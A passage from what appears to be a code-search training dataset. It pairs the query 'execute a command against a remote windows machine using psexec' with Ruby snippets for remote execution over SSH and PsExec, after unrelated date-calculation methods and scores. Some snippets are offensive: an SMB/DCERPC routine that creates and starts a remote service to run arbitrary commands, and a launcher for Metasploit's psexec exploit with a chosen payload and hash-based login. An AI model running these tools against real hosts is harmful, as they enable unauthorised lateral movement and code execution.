"def daily_usage(supply: nil, dates: nil, date_format: nil, meter: nil)\n return nil unless dates\n datetime_range = (dates.first.beginning_of_day..dates.last.end_of_day)\n\n # TODO this is a bit messy\n result_array = readings_with_selected_meters(supply, meter)\n .where(reading_date: datetime_range)\n .order(:reading_date)\n .group_by(&:reading_date)\n .map { |reading_date, amr_readings| [reading_date, amr_readings.sum(&:one_day_kwh).to_f] }\n\n fill_in_blank_dates(dates, result_array, date_format)\n end",
"def day_stats\n days = Array.new(7){0}\n @file.each do |line|\n date = line[:regdate].split(\" \")\n date = Date.strptime(date[0],\"%m/%d/%y\")\n days[date.wday.to_i] += 1\n end\n days.each_with_index{ |counter, days| puts \"#{days}: #{counter}\"}\n\n end",
"def calcular_salario_diario(fecha_ejecucion)\n ultimo_dia_del_mes = -1\n fact_salario = @salario / (Date.new(fecha_ejecucion.year, fecha_ejecucion.month, ultimo_dia_del_mes)).day\n end",
"def my_average_rating_events_in_past_30_days\n if self.my_rating_of_all_events_in_past_30_days != []\n total = 0\n self.my_rating_of_all_events_in_past_30_days.each do |rating|\n total += rating\n end\n total / (self.my_rating_of_all_events_in_past_30_days.length)\n else\n \"You have no events\"\n end\n end",
"def amount_by_date_cumulative\n amounts_by_date = Installment.amount_by_date(self)\n amounts_by_date.each do |status, dates|\n sum = 0\n amounts_by_date[status].each do |date, amount|\n sum += amount\n amounts_by_date[status][date] = sum\n end\n end\n return amounts_by_date\n end",
"def spec_percent_by_week events\n events.group_by {|e| week_from_date(e.date) }\n .map {|week,es| [week, spec_count(es).to_f / es.count] }\nend",
"def fail_rate(days=30)\n latest_executions(days).average('IF(success, 0, 1)')&.to_f\n end",
"def daily_metrics(at)\n json = {}\n metric = metrics.where(source: Metric::SOURCE_SNOWMAN, kind: \"request\").first\n\n today = at.beginning_of_day\n yesterday = at.beginning_of_day - 1.day\n json[\"today\"] = {\"at\" => today.strftime(\"%Y-%m-%d\"), \"count\" => 0}\n json[\"yesterday\"] = {\"at\" => yesterday.strftime(\"%Y-%m-%d\"), \"count\" => 0}\n json[\"total\"] = {\"count\" => 0}\n\n if metric && (aggr = metric.aggregations.where(precision: \"daily\", at: today).first)\n json[\"today\"][\"count\"] = aggr.count.to_i\n end\n\n if metric && (aggr = metric.aggregations.where(precision: \"daily\", at: yesterday).first)\n json[\"yesterday\"][\"count\"] = aggr.count.to_i\n end\n\n if metric\n json[\"total\"][\"count\"] = metric.aggregations.where(precision: \"daily\").sum(:count).to_i\n end\n\n json\n end",
"def patient_monthly_costs_before_dh\n\t$pt_costs_monthy_no_dh = []\n\n\t$pokitdok_call.each do |drug|\n\t\t$pt_costs_monthy_no_dh << drug['retail']['oop_30_day']['amount'].to_f\n\tend\n\n\t$pt_costs_monthy_no_dh.inject(:+).round(2)\nend",
"def total_day_kwh_usage_on(date)\n raise \"Invalid argument: Please use a date value that is not in the future\" if (date > Time.now.utc.to_date)\n\n cumulative_hourly_kwh_usage = 0.0\n (0..23).each do |i|\n cumulative_hourly_kwh_usage += self.total_hour_kwh_usage_on(date, i)\n #puts cumulative_hourly_kwh_usage.to_s\n end\n cumulative_hourly_kwh_usage\n end",
"def calculate\n calculate_for_dates(bucket_dates)\n end",
"def progress_today\n today = Date.today\n run.on(today).size.to_f / on(today).size\n end",
"def calc_daily_credit_debit\n credit = Transaction.sum(:amount, :conditions => \"date IS '#{Date.current}' AND sign IS 'c' \") # change this to transactiontype_id 1\n debit = Transaction.sum(:amount, :conditions => \"date IS '#{Date.current}' AND sign IS 'd' \") # change this to transactiontype_id 4 (2 + 5)\n @dailytotal = credit - debit\n return @dailytotal\n end",
"def consolidate_day\n t = Time.zone.local(2012,12,10);\n\n two_days_ago = t - 2.days\n one_days_ago = t - 1.day\n\n last_couple_days = self.energy_data.where(:year => t.year, :month => t.month, :day => one_days_ago.day) #we're 1-indexed\n dayofInterest = self.energy_data.where(:year => t.year, :month => t.month, :day => t.day, :hour => (1..(t.hour+1))) #we're 1-indexed\n @dayTotals = Array.new\n count = 0\n\n hour_sim = 0\n\n #previous couple days\n last_couple_days.each do |day|\n @dayTotals[count] = [Time.utc(day.year,day.month,day.day,day.hour).to_i*1000, day.power]\n count = count + 1\n end\n\n # create array with [hour, power]\n dayofInterest.each do |day|\n last_hour = day.hour\n @dayTotals[count] = [Time.utc(day.year,day.month,day.day,day.hour).to_i*1000, day.power]\n count = count + 1\n end\n\n @dayTotals\n end",
"def estimated_velocity_per_day\n estimated_velocity / 7.0\n end",
"def to_days; Rational === @val ? @val/60/60/24 : @val/60.0/60/24 end",
"def days_of_rent\n (1..(Rules.compute_rental_duration(@rental_data))).to_a\n end",
"def average_rent\n unit_rent = @units.each_key do |unit, value|\n unit[:monthly_rent]\n end\n (unit_rent.sum / 2).round(1)\n end",
"def daily_deals\n\n # all categories from the database\n @categories = Category.all\n\n # daily deals grouped by product category\n if ((current_user.user_type == User::USER_DONOR) && (current_user.npo_id))\n @daily_deals_by_category = Deal.where(:is_daily_deal => 1, :npo_id => current_user.npo_id).group_by{ |d| d.product.category }\n end\n end",
"def calculate_interest principle, days_since\n (principle * APR / 365 * days_since).round(2)\n end",
"def daily_goals\n goals\n end",
"def speed_per_time_period(days)\n days.map do |day| \n day.map {|time_period| calc_average_speed(time_period) } \n end\n end",
"def get_avg_rating(rides)\n total_rating = 0\n rides.each do |ride|\n total_rating += ride[:rating]\n end\n return total_rating.to_f / get_num_rides(rides)\nend",
"def calculate_dicsount(index)\n ((index + 1) * 9) / 100.0\nend",
"def calls_by_date_data\n response = api_request(:timeseries, {fields: 'total_calls,missed_calls'})\n data = response['data']\n total_calls = data.map { |day| [day[\"date\"], day[\"total_calls\"]] }\n missed_calls = data.map { |day| [day[\"date\"], day[\"missed_calls\"]] }\n\n [\n { name: \"Total Calls\", data: total_calls },\n { name: \"Missed Calls\", data: missed_calls }\n ]\n end",
"def calc_calories!\n gender = user.sex\n age = ( (Date.today - user.birthdate).to_i / 365.25).floor\n\n # FORMULA WITHOUT V02 MAX \n # if gender && age && user.weight(self.start_time) && duration && hr\n # if gender == \"male\" \n # cal = (-55.0969 + (hr * 0.6309) + (user.weight(self.start_time) * 0.1988) + (age * 0.2017) ) / 4.184\n # totalcal = (cal * duration/60).to_i\n # return totalcal\n # elsif gender == \"female\"\n # cal = ( -20.4022 + (hr * 0.4472) + (user.weight(self.start_time) * 0.1263) + (age * 0.074) ) / 4.184\n # totalcal = (cal * duration/60).to_i\n # return totalcal\n # end\n\n # FORMULA WITH V02 MAX\n if gender && age && user.weight(self.start_time) && duration && hr && hr > 0\n if gender == \"male\" \n cal = ( -59.3954 - 36.3781 + (hr * 0.634) + (user.weight(self.start_time) * 0.394) + (age * 0.271) + (user.vo2(start_time) * 0.404) ) / 4.184\n totalcal = (cal * duration/60).to_i\n self.update_attributes(:calories => totalcal)\n elsif gender == \"female\"\n cal = ( -59.3954 + (hr * 0.450) + (user.weight(self.start_time) * 0.103) + (age * 0.274) + (user.vo2(start_time) * 0.380) ) / 4.184\n totalcal = (cal * duration/60).to_i\n self.update_attributes(:calories => totalcal)\n end\n else\n self.update_attributes(:calories => nil)\n end\n end",
"def pro_rated_days\n _date_begin = pro_rata_start_date\n _date_end = subscription_start_date\n if _date_begin.blank? || _date_end.blank?\n 0\n else\n ((_date_end - _date_begin) / 1.day).round(0).to_i # n days\n end\n end",
"def chart_days\n daily_requests = self.daily_requests.limit(10)\n days = daily_requests.map(&:created_at)\n days.map { |d| d.strftime(\"%b %e\") }\n end",
"def arrival_rate(date)\n cycle = lead_time(date)\n return 0 if cycle.zero?\n (wip_count(date - cycle.days) / cycle).to_f\n end",
"def dates_with_earnings(driver)\n earns_per_date = {}\n \n driver.each do |rides|\n # Add the date (key) if it does not exist in the hash, and assign a temporary value 0\n if !earns_per_date.has_key? rides[:date]\n earns_per_date[rides[:date]] = 0\n end\n # If there are more than one ride on a day, the eanring (value) will keep adding on\n earns_per_date[rides[:date]] += rides[:cost]\n end\n return earns_per_date\nend",
"def price_of_the_day(day)\n (\n (1 - discount_of_the_day(day)) * car.price_per_day\n ).to_i\n end",
"def work_per_month(ary_work)\n nary = ary_work.group_by{ |t| \n t[:date] \n }.transform_values { |tasks|\n tasks.reduce(0) { |sum, t|\n sum + t[:time] \n }\n }.to_a.group_by { |e|\n e[0][0..6]\n }.transform_values { |tasks|\n tasks.reduce(0) { |sum, t|\n sum + t[1] \n } / tasks.length\n }\nend",
"def revenue(date)\n end",
"def select_trend_by_day\n self.trend_period = 'day'\n records = []\n records = get_select_trend_by_day( day_from_date, end_date, accounts)\n records = fill_missing_rows(records, day_from_date, end_date) \n records.flatten\n end"
] |
[
"0.7035991",
"0.68995506",
"0.6670552",
"0.66185725",
"0.6554045",
"0.64075446",
"0.63313407",
"0.6307545",
"0.62790525",
"0.6260448",
"0.6237834",
"0.62094015",
"0.6197452",
"0.61426365",
"0.613566",
"0.6112865",
"0.61052215",
"0.6089164",
"0.60696054",
"0.60365486",
"0.60035187",
"0.5983341",
"0.5953784",
"0.595222",
"0.5935613",
"0.590206",
"0.58742964",
"0.58733875",
"0.58733875",
"0.58733875",
"0.58629555",
"0.58424765",
"0.5835025",
"0.5833248",
"0.58098423",
"0.58082753",
"0.5803462",
"0.57986027",
"0.57928604",
"0.57790726",
"0.5775304",
"0.5765366",
"0.57621044",
"0.57546496",
"0.57534283",
"0.57496405",
"0.5746037",
"0.574295",
"0.5741354",
"0.5741171",
"0.573994",
"0.5733022",
"0.57317924",
"0.5731231",
"0.572429",
"0.57223016",
"0.57076615",
"0.57055384",
"0.57047737",
"0.56760186",
"0.56629944",
"0.5634543",
"0.56324214",
"0.56318444",
"0.5630722",
"0.56136394",
"0.561309",
"0.5606599",
"0.5593024",
"0.5591682",
"0.5590894",
"0.55903774",
"0.5584468",
"0.5583974",
"0.5576318",
"0.55751127",
"0.5571605",
"0.5559584",
"0.55581415",
"0.5552668",
"0.5550708",
"0.5550267",
"0.5548345",
"0.55469066",
"0.55463016",
"0.55452067",
"0.55396664",
"0.5536821",
"0.55335605",
"0.55312634",
"0.55279255",
"0.55278295",
"0.55271095",
"0.5522845",
"0.5511944",
"0.54966843",
"0.54741895",
"0.5472105",
"0.5470051",
"0.54518646",
"0.54500574"
] |
0.0
|
-1
|
execute a command against a remote windows machine using psexec
|
def psexec(host, command)
exec = "psexec \\\\#{Array(host).join ','}"
if @options[:user]
exec << " -u \"#{@options[:user]}\""
@options[:password] = ask("--> Enter password for #{@options[:user]}@#{host}: ") {|q| q.echo = '*'} unless @options[:password]
exec << " -p \"#{@options[:password]}\""
end
exec << " /accepteula"
exec << " cmd /c \"#{command}\""
exec << ' > NUL 2>&1' unless logger.debug?
logger.debug "--> #{exec}"
system exec
raise "Failed to execute command \"#{command}\" on host: #{host}" if $?.to_i != 0
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def execute_interactively(host, command)\n user = host.user\n hostname = host.hostname\n port = host.port || 22\n\n # execute in shell\n exec \"ssh -l #{user} #{hostname} -p #{port} -t '#{command}'\"\nend",
"def execute_ssh_command(command)\n\t\tresult = ''\n\t\tNet::SSH.start(ip_string, settings.ssh[\"user\"]) do |ssh|\n\t\t\tresult = ssh.exec!(\"cmd /c #{command}\")\n\t\tend\n\t\tresult\n\tend",
"def run(cmd, host_ip)\n user = 'root'\n ip = host_ip\n port = 22\n\n @cmd = system \"ssh -p #{port} #{user}@#{ip} '#{cmd}'\" \n logger.info @cmd\n end",
"def remote_run cmd\n ssh = ssh_command(cmd)\n _show_cmd ssh\n system(ssh) unless @opts[:norun] || $norun\n end",
"def vm_ssh(env, cmd)\n puts \">>> '#{cmd}'\"\n env.primary_vm.ssh.execute do |ssh|\n ssh.exec!(cmd) do |channel, stream, data|\n print data\n $stdout.flush\n end\n end\nend",
"def remote_command(command)\n return %x(ssh #{self.sar_host} \"#{command}\")\n end",
"def command_send(command)\n\t\t# Check target\n\t\traise \"Target machine is not accessible\" if (!@config[\"ssh\"] or !@ip)\n\n\t\t# Prepare command\n\t\tcommand = command.gsub('\"', '\\\\\"')\n\t\tcommand = command.gsub('$', '\\\\$')\n\n\t\t# Execute and return result\n\t\t_ssh = `ssh -oStrictHostKeyChecking=no -oConnectTimeout=8 -i \"#{@config[\"ssh\"][\"key\"]}\" -t #{@config[\"ssh\"][\"username\"]}@#{@ip} \"#{command}\" 2>/dev/null`\n\t\treturn _ssh.strip\n\tend",
"def ssh_exec(executable, dir = Rails.application.config.vm_benchmark_dir, log = Rails.application.config.vm_error_log_file)\n shell_cmd = ssh_shell_cmd(executable, dir, log)\n shell(shell_cmd, dir: @vagrant_dir)\n end",
"def single_target(user, pass, target, evil)\n\t\tprint_status(\"Running psexec #{user} #{pass} #{target} #{evil}.....\")\n\t\tDir.chdir(\"#{MSFPATH}tools/\") {\n\t\t\tsystem(\"psexec.rb #{user} #{pass} #{target} #{evil}\")\n\t\t}\n\tend",
"def exec_cmd cmd\n t = Time.now\n results = \"\"\n @ssh.open_channel do |channel|\n channel.exec(cmd) do |ch,success|\n unless success\n Logger.<<(__FILE__,\"INFO\",\"Could Not execute command #{cmd}\")\n abort\n end\n # stdout\n channel.on_data do |ch,data|\n results += data\n end\n # stderr\n channel.on_extended_data do |ch,type,data|\n Logger.<<(__FILE__,\"ERROR\",\"Error from the cmd #{cmd} : #{data}\")\n abort\n end\n channel.on_close do |ch|\n end\n end\n end\n # wait for the command to finish\n @ssh.loop\n Logger.<<(__FILE__,\"DEBUG\",\"SFTP Command executed in #{Time.now - t} sec\") if @opts[:v]\n results.split\n end",
"def execute_remote\n\t\tcurAp = @apListBox.value;\n\t\tcmd = getVal(\"exec-remote on #{curAp.ip}\");\n\t\treturn if cmd.nil? or cmd == \"\";\n\n\t\ta = curAp.execute_remote(cmd).split( \"\\n\" );\n\t\t@entryListBox.empty\n\t\ta.each { |line|\n\t\t\t@entryListBox.add( \"#{line}\", {});\n\t\t}\n\tend",
"def exec!(cmd)\n connect! unless @connected\n if using_ssh?\n logger.debug(\"ssh: \" + cmd)\n ssh_session.exec!(cmd)\n else\n logger.debug(cmd)\n `#{cmd}`\n end\n end",
"def simple_ssh_command(host, user, command, timeout = 300)\n over_ssh(host: host, user: user, timeout: timeout) do |server|\n server.cd '/tmp'\n # Need to use sudo\n server.enable_sudo\n # scary...\n server.disable_safe_mode\n\n server.execute command\n end\n end",
"def show\n \ncmd = \"ssh -o ConnectTimeout=1 root@114.55.36.146 \\\" echo \\\\\\\" \"+@shujukusqlguanli.jiaobenneirong+\" \\\\\\\"|su postgres -c \\\\\\\"psql -U postgres -p 5433 laicunba_test\\\\\\\" \\\" \"\n#cmd.gsub!(/\\0/, '')\nIO.popen(cmd, :external_encoding=>\"utf-8\") {|nkf_io|\n @exe = nkf_io.read\n}\n@cmd=cmd\n\n end",
"def exec(argv, options = {}, &block)\n sshcmd = %W( ssh #{@remote} -tS #{controlsocket} )\n\n sshcmd += %W( cd #{options[:chdir]} && ) if options.has_key?(:chdir)\n\n @local.exec(sshcmd + argv, &block)\n end",
"def provision_execute(s, commands)\n errors = []\n return errors if (commands.nil? or commands.empty?)\n \n if (!get_field(\"cloud_ips\").nil? and !get_field(\"cloud_ips\").empty?)\n host = get_field(\"cloud_ips\")[0]\n elsif (!get_field(\"cloud_private_ips\").nil? and !get_field(\"cloud_private_ips\").empty?)\n host = get_field(\"cloud_private_ips\")[0]\n else\n msg = \"No IP address associated to the machine #{host} - cannot run SSH command\"\n errors << msg\n log_output(msg, :info)\n return errors\n end\n \n ssh_password = get_field('ssh_password')\n ssh_options = {}\n msg = \"Running SSH Commands On New Machine #{s.username}@#{host}\"\n msg_options = {}\n if (ssh_password and !ssh_password.empty?)\n ssh_options[:password] = ssh_password\n msg_options[:password] = \"*\" * ssh_password.size\n end\n msg_options[:private_key_path] = s.private_key_path if s.private_key_path\n msg_options[:private_key] = mask_private_key(s.private_key.strip) if s.private_key # show only last 5 chars\n log_output(\"#{msg} using #{msg_options}: #{commands.join(\", \")}\", :info)\n\n for i in 1..10\n begin\n log_output(\"[#{host}] Running Commands:\\n #{commands.join(\"\\n \")}\\n\")\n responses = s.ssh(commands, ssh_options) do |data, extended_data|\n write_output(data, :buffer => true) unless data.empty? #stdout\n write_output(extended_data, :buffer => true) unless extended_data.empty? #stderr\n end\n\n responses.each do |result|\n if result.status != 0\n msg = \"[#{host}] Command '#{result.command}' failed with status #{result.status}\"\n errors << msg\n log_output(msg, :info)\n end\n end unless responses.nil?\n break\n rescue Errno::EHOSTUNREACH, Timeout::Error, Errno::ECONNREFUSED, Errno::ETIMEDOUT, Net::SSH::Disconnect => e\n log_output(\"[#{host}] Try #{i} - failed to connect: #{e}, retrying...\", :info)\n if i+1 > 10\n msg = \"[#{host}] Could not connect to remote machine after 10 attempts\"\n errors << msg\n log_output(msg, :warn)\n else\n sleep 5\n next\n end\n rescue Net::SSH::AuthenticationFailed => e\n log_output(\"[#{host}] Try #{i} - failed to connect: authentication failed for user #{e.message}, retrying...\", :info)\n if i+1 > 10\n msg = \"[#{host}] Could not connect to remote machine after 10 attempts, authentication failed for user #{e.message}\"\n errors << msg\n log_output(msg, :warn)\n else\n sleep 5\n next\n end\n end\n end\n return errors\n end",
"def remote_exec(cmd)\n req = JsonRequest.new(\"remote_exec:exec\", [@agent_id, cmd])\n res = Bixby.client.exec_api(req)\n assert res\n assert_kind_of JsonResponse, res\n assert res.success?\n\n cr = CommandResponse.from_json_response(res)\n assert cr\n assert cr.success?, \"remote exec should succeed\"\n cr\n end",
"def smb_psexec(cmdorfile, verbose=true)\n begin\n @smb.connect(\"\\\\\\\\#{@target}\\\\IPC$\")\n handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', [\"\\\\svcctl\"], @target)\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Binding to #{handle} ...\".white if verbose\n dcerpc = dcerpc_bind(handle,@socket, @smb, @user, @pass)\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Bound to #{handle} ...\".white if verbose\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Obtaining a service manager handle...\".white if verbose\n scm_handle = nil\n stubdata = NDR.uwstring(\"\\\\\\\\#{@target}\") + NDR.long(0) + NDR.long(0xF003F)\n begin\n response = dcerpc.call(0x0f, stubdata)\n if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil\n scm_handle = dcerpc.last_response.stub_data[0,20]\n end\n rescue ::Exception => e\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" #{@target} - Error getting scm handle: #{e}\".white\n return false\n end\n servicename = Rex::Text.rand_text_alpha(11)\n displayname = Rex::Text.rand_text_alpha(16)\n holdhandle = scm_handle\n svc_handle = nil\n svc_status = nil\n stubdata =\n scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) +\n NDR.long(0x0F01FF) + # Access: MAX\n NDR.long(0x00000110) + # Type: Interactive, Own process\n NDR.long(0x00000003) + # Start: Demand\n NDR.long(0x00000000) + # Errors: Ignore\n NDR.wstring( cmdorfile ) +\n NDR.long(0) + # LoadOrderGroup\n NDR.long(0) + # Dependencies\n NDR.long(0) + # Service Start\n NDR.long(0) + # Password\n NDR.long(0) + # Password\n NDR.long(0) + # Password\n NDR.long(0) # Password\n begin\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Creating the service...\".white if verbose\n response = dcerpc.call(0x0c, stubdata)\n if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil\n svc_handle = dcerpc.last_response.stub_data[0,20]\n svc_status = dcerpc.last_response.stub_data[24,4]\n end\n rescue ::Exception => e\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" #{@target} - Error creating service: #{e}\".white\n return false\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Closing service handle...\".white if verbose\n begin\n response = dcerpc.call(0x0, svc_handle)\n rescue ::Exception\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Opening service...\".white if verbose\n begin\n stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF)\n response = dcerpc.call(0x10, stubdata)\n if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil\n svc_handle = dcerpc.last_response.stub_data[0,20]\n end\n rescue ::Exception => e\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" #{@target} - Error opening service: #{e}\".white\n return false\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Starting the service...\".white if verbose\n stubdata = svc_handle + NDR.long(0) + NDR.long(0)\n begin\n response = dcerpc.call(0x13, stubdata)\n if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil\n end\n rescue ::Exception => e\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" #{@target} - Error starting service: #{e}\".white\n return false\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Removing the service...\".white if verbose\n stubdata = svc_handle\n begin\n response = dcerpc.call(0x02, stubdata)\n if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil\n end\n rescue ::Exception => e\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" #{@target} - Error removing service: #{e}\".white\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Closing service handle...\".white if verbose\n begin\n response = dcerpc.call(0x0, svc_handle)\n rescue ::Exception => e\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" #{@target} - Error closing service handle: #{e}\".white\n end\n select(nil, nil, nil, 1.0)\n @smb.disconnect(\"\\\\\\\\#{@target}\\\\IPC$\")\n return true\n rescue Rex::Proto::SMB::Exceptions::InvalidCommand\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" #{@target} - Network static causing issues, going to retry....\".white\n smb_psexec(cmdorfile, verbose)\n end\nend",
"def exec(command, options={})\n ssh.exec(command, options)\n end",
"def exec(opts={})\n # Get the SSH information and cache it here\n ssh_info = info\n\n if Util::Platform.windows?\n raise Errors::SSHUnavailableWindows, :host => ssh_info[:host],\n :port => ssh_info[:port],\n :username => ssh_info[:username],\n :key_path => ssh_info[:private_key_path]\n end\n\n raise Errors::SSHUnavailable if !Kernel.system(\"which ssh > /dev/null 2>&1\")\n\n # If plain mode is enabled then we don't do any authentication (we don't\n # set a user or an identity file)\n plain_mode = opts[:plain_mode]\n\n options = {}\n options[:host] = ssh_info[:host]\n options[:port] = ssh_info[:port]\n options[:username] = ssh_info[:username]\n options[:private_key_path] = ssh_info[:private_key_path]\n\n # Command line options\n command_options = [\"-p\", options[:port].to_s, \"-o\", \"UserKnownHostsFile=/dev/null\",\n \"-o\", \"StrictHostKeyChecking=no\", \"-o\", \"LogLevel=FATAL\", \"-p\", options[:password].to_s]\n\n # Solaris/OpenSolaris/Illumos uses SunSSH which doesn't support the IdentitiesOnly option\n # (Also don't use it in plain mode, it'll skip user agents.)\n command_options += [\"-o\", \"IdentitiesOnly=yes\"] if !(Util::Platform.solaris? || plain_mode)\n\n command_options += [\"-i\", options[:private_key_path]] if !plain_mode\n command_options += [\"-o\", \"ForwardAgent=yes\"] if ssh_info[:forward_agent]\n\n # If there are extra options, then we append those\n command_options.concat(opts[:extra_args]) if opts[:extra_args]\n\n if ssh_info[:forward_x11]\n # Both are required so that no warnings are shown regarding X11\n command_options += [\"-o\", \"ForwardX11=yes\"]\n command_options += [\"-o\", \"ForwardX11Trusted=yes\"]\n end\n\n host_string = options[:host]\n host_string = \"#{options[:username]}@#{host_string}\" if !plain_mode\n command_options << host_string\n @logger.info(\"Invoking SSH: #{command_options.inspect}\")\n safe_exec(\"ssh\", *command_options)\n end",
"def execute_remote_command(server, cmd)\n ssh(server, cmd).status == 0\n end",
"def ssh_command(com, username, pass)\n Net::SSH.start(SERVER, username, {:password => pass}) do |ssh|\n ssh.exec! com\n end\n end",
"def chef_exec(cmd)\n @ssh.exec! \"#{CHEF_RUBY_INSTANCE_BASE}/bin/#{cmd}\", sudo: true\n end",
"def cmd_exec(session,cmdexe,opt,verbose)\n\tr=''\n\tsession.response_timeout=120\n\tif verbose == 1\n\t\tbegin\n\t\t\tprint_status \"\\tRunning command #{cmdexe}\"\n\t\t\tr = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true})\n\t\t\twhile(d = r.channel.read)\n\n\t\t\t\tprin_status(\"\\t#{d}\")\n\t\t\tend\n\t\t\tr.channel.close\n\t\t\tr.close\n\t\trescue ::Exception => e\n\t\t\tprint_status(\"Error Running Command #{cmd}: #{e.class} #{e}\")\n\t\tend\n\telse\n\t\tbegin\n print_status \"\\trunning command #{cmdexe}\"\n r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false})\n r.close\n rescue ::Exception => e\n print_status(\"Error Running Command #{cmd}: #{e.class} #{e}\")\n end\n\tend\nend",
"def send_command(command)\n begin\n @ssh_connect.exec!(command)\n rescue Exception => error\n @log.error(\"#{error}\")\n end\n end",
"def psexec\n\t\tprint_status(\"\")\n\t\tprint_status(\"Microsoft Windows Authenticated User Code Execution\")\n\t\tprint_status(\" MSF PSEXEC Payload Delivery \")\n\t\tprint_status(\"\")\n\t\tprint_caution(\"Provide Username: \")\n\t\tzUSER=gets.chomp\n\n\t\tprint_caution(\"Provide Password or Hash: \")\n\t\tzPASS=gets.chomp\n\n\t\tprint_caution(\"Set Domain (Y/N)?\")\n\t\tanswer=gets.chomp\n\t\tif answer.upcase == 'Y' or answer.upcase == 'YES'\n\t\t\tprint_caution(\"Domain to use: \")\n\t\t\tzDOMAIN=gets.chomp\n\t\telse\n\t\t\tzDOMAIN='WORKGROUP'\n\t\tend\n\n\t\tprint_caution(\"Target IP: \")\n\t\tzIP=gets.chomp\n\n\t\tprint_caution(\"Use SMB Port 445 (Y/N)?\")\n\t\tanswer=gets.chomp\n\t\tif answer.upcase == 'N' or answer.upcase == 'NO'\n\t\t\tprint_caution(\"Port: \")\n\t\t\tzPORT=gets.chomp\n\t\telse\n\t\t\tzPORT='445'\n\t\tend\n\n\t\tprint_caution(\"Use ADMIN$ share (Y/N)?\")\n\t\tanswer=gets.chomp\n\t\tif answer.upcase == 'N' or answer.upcase == 'NO'\n\t\t\tprint_caution(\"Provide share to use: \")\n\t\t\tzSHARE=gets.chomp\n\t\telse\n\t\t\tzSHARE='ADMIN$'\n\t\tend\n\n\t\tprint_status(\"Payload Selection\")\n\t\tprint_caution(\"NOTE: remember to choose a Windows Payload!\")\n\t\tpayload = payload_selector(2) # 1=Listerner Mode, 2-Exploit Mode, 3=Payload Builder #\n\t\tif payload =~ /bind/\n\t\t\tprint_caution(\"Please provide PORT for Bind Shell: \")\n\t\telse\n\t\t\tprint_caution(\"Please provide PORT to listen on: \")\n\t\tend\n\t\tzLPORT=gets.chomp\n\n\t\trcfile=\"#{$temp}msfassist.rc\"\n\t\tf=File.open(rcfile, 'w')\n\t\tf.puts \"db_connect #{MSFDBCREDS}\"\n\t\tf.puts \"use exploit/windows/smb/psexec\"\n\t\tf.puts \"set RHOST #{zIP}\"\n\t\tf.puts \"set RPORT #{zPORT}\"\n\t\tf.puts \"set SHARE #{zSHARE}\"\n\t\tf.puts \"set SMBDomain #{zDOMAIN}\"\n\t\tf.puts \"set SMBUser #{zUSER}\"\n\t\tf.puts \"set SMBPass #{zPASS}\"\n\t\tf.puts \"set PAYLOAD #{payload}\"\n\t\tf.puts \"set LHOST 0.0.0.0\"\n\t\tf.puts \"set LPORT #{zLPORT}\"\n\t\tf.puts \"set ExitOnSession false\"\n\t\tif payload =~ /meterpreter/\n\t\t\tf.puts \"set AutoRunScript migrate -f\"\n\t\tend\n\t\tf.puts \"exploit -j -z\"\n\t\tf.close\n\t\tprint_status(\"Launching MSF PSEXEC against #{zIP}:#{zPORT} in a new x-window.....\")\n\t\twin_psexec=\"xterm -title 'MSF PSEXEC' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \\\"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\\\"\"\n\t\tfireNforget(win_psexec)\n\t\tprint_line(\"\")\n\tend",
"def exec(cmd, server_name = \"*\")\n user = 'deploy'\n output = {}\n threads = []\n\n servers.each_pair do |name, server|\n if server_name == \"*\" || (server_name != '*' && server_name == name)\n threads << Thread.new do\n Net::SSH.start(server, user) do |ssh|\n output[name] = ssh.exec!(cmd)\n end\n end\n end\n end\n \n threads.each(&:join)\n output\n end",
"def ssh_primary(host, cmd, cf)\n \n user = cf.get_user\n pass = cf.get_passwd\n\n begin\n ssh = Net::SSH.start(host, user, :password => pass)\n out = ssh.exec!(cmd)\n ssh.close\n puts out\n rescue StandardError => e\n puts e.to_s\n end \n\nend",
"def dispatch(command, return_output = false)\n Vanagon::Utilities.remote_ssh_command(\"#{@target_user}@#{@target}\", command, @target_port, return_command_output: return_output)\n end",
"def run_command(user, host, cmd)\n ping(user, host) do\n my_text = IO.popen(\"ssh #{user}@#{host} 'bash'\", \"w+\")\n my_text.write(cmd)\n my_text.close_write\n my_rtn = my_text.readlines.join('\\n')\n Process.wait(my_text.pid)\n my_text.close\n return my_rtn\n end\n end",
